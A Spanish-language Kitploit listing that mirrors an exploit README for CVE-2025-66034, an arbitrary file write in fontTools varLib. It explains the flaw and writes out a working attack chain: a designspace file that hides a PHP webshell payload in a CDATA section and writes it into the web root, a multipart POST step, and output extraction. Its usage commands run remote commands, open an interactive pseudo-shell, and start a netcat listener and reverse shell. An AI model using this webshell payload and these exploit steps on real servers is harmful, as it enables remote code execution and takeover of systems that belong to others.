Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66034 — CVE-2025-66034 exploit y documentación | Kitploit
Herramientas/GitHubGitHub/tristanqtn/cve-2025-66034
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubtristanqtn/cve-2025-66034

CVE-2025-66034

CVE-2025-66034 exploit y documentación

Ver Repositorio
12hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66034 — fontTools varLib Escritura Arbitraria de Archivos

Vulnerabilidad

fontTools es una biblioteca de Python para manipular archivos de fuentes. Su módulo varLib procesa archivos .designspace, un formato XML que describe cómo deben interpolarse múltiples maestros de fuente para producir una fuente variable.

Existen dos debilidades en las versiones afectadas:

1. Nombre de archivo de salida sin sanitizar

El atributo <variable-font filename="..."> en un archivo designspace controla dónde escribe varLib la fuente compilada de salida. La biblioteca no realiza ninguna validación ni normalización de esta ruta antes de pasarla al sistema de archivos. Un atacante puede proporcionar una ruta absoluta o una secuencia de path traversal para escribir el archivo de salida en cualquier ubicación a la que el proceso tenga acceso de escritura.

2. Contenido XML pasado directamente a la salida

fontTools serializa los nombres de los ejes provenientes de elementos <labelname> directamente en la tabla de nombres de la fuente de salida como bytes crudos, sin sanitizar el contenido. Cualquier cadena colocada dentro de un bloque <labelname> — incluido código PHP — termina textualmente en el archivo escrito.

Descargar herramienta

Juntas, estas dos debilidades permiten a un atacante que pueda enviar un archivo designspace a un endpoint web respaldado por fontTools escribir un archivo arbitrario con contenido arbitrario en cualquier ruta escribible del servidor.


Cadena de Ataque

Paso 1 — Crear el designspace malicioso

El archivo designspace contiene dos inyecciones.

La primera está en el elemento <labelname>:

root@kitploit:~
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>

Las secciones CDATA en XML permiten datos de caracteres arbitrarios sin escape de entidades, pero no pueden contener ellas mismas la secuencia ]]> porque eso termina la sección. La etiqueta de cierre de PHP ?> causaría un error de análisis si se escribiera ingenuamente. La secuencia ]]]]><![CDATA[> cierra una sección CDATA inmediatamente después de ]] y abre una nueva que comienza con >, de modo que el contenido final renderizado es <?php system($_REQUEST["cmd"]);?> — PHP sintácticamente válido — sin provocar nunca un error en el analizador XML.

La segunda inyección está en la ruta de salida:

root@kitploit:~
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">

fontTools construye el manejador de archivo de salida a partir de esta cadena sin normalización de ruta. El archivo se crea en esa ubicación exacta.

Paso 2 — Proporcionar un maestro TTF válido

varLib requiere al menos una fuente de origen para compilar. El maestro no necesita ser una fuente real: un TTF mínimo con un solo glifo vacío es suficiente para pasar la validación. El TTF base64 incrustado en este exploit fue generado con fontTools FontBuilder y contiene solo un glifo .notdef con un contorno cuadrado y las tablas mínimas requeridas (head, hhea, OS/2, cmap, glyf, hmtx, name, post).

Paso 3 — Enviar POST al endpoint del procesador

El exploit envía el designspace y el TTF como un POST multipart/form-data al endpoint de generación de fuentes de la aplicación web. El servidor pasa los archivos a varLib.build(). varLib analiza el designspace, lee el maestro, compila la fuente variable y la escribe en la ruta especificada en filename= — que es la raíz web.

Paso 4 — Ejecutar comandos a través del webshell

El archivo escrito es un archivo de fuente binario con la carga útil PHP incrustada en su interior. El analizador de PHP escanea los archivos en busca de etiquetas de apertura en lugar de requerir que el archivo consista completamente en PHP. Cuando el servidor web procesa el archivo como PHP, encuentra <?php system($_REQUEST["cmd"]);?> y lo ejecuta. Todo lo que está antes y después de la etiqueta se emite tal cual y se ignora.

Paso 5 — Extraer la salida de la respuesta

El cuerpo de la respuesta es el binario de la fuente cruda. La salida del comando cae entre dos marcadores predecibles que fontTools escribe en la tabla de nombres:

  • TestWeight400 — derivado de los campos de familia y clase de peso en el maestro TTF incrustado
  • ]]>ThinMEOW2 — del elemento <labelname> francés en el designspace

El exploit extrae la respuesta entre estas dos cadenas y elimina las etiquetas XML residuales con BeautifulSoup para obtener una salida de comando limpia.


Requisitos

root@kitploit:~
pip install requests beautifulsoup4

Uso

Los tres parámetros objetivo son obligatorios. No hay valores predeterminados hardcodeados.

root@kitploit:~
--process-url   URL completa del endpoint del procesador de fuentes
--shell-url     URL completa donde el webshell será accesible después de la escritura
--write-path    Ruta del sistema de archivos donde el servidor escribirá el shell

Opcional:

root@kitploit:~
--session       Valor de la cookie PHPSESSID (si el portal requiere autenticación)
--no-plant      Saltar el paso de subida (shell ya plantado)
--hostname      Etiqueta mostrada en el prompt interactivo

Ejecutar un solo comando

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  exec 'id'

Pseudo-shell interactivo

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  --session     TU_PHPSESSID \
  --hostname    webserver \
  interactive

Reverse shell

Inicia un listener primero:

root@kitploit:~
nc -lvnp 4444

Luego ejecuta:

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  revshell 10.10.16.1 4444

La carga útil del reverse shell se codifica en base64 antes de la transmisión para evitar problemas de escape de metacaracteres del shell dentro del parámetro de consulta cmd.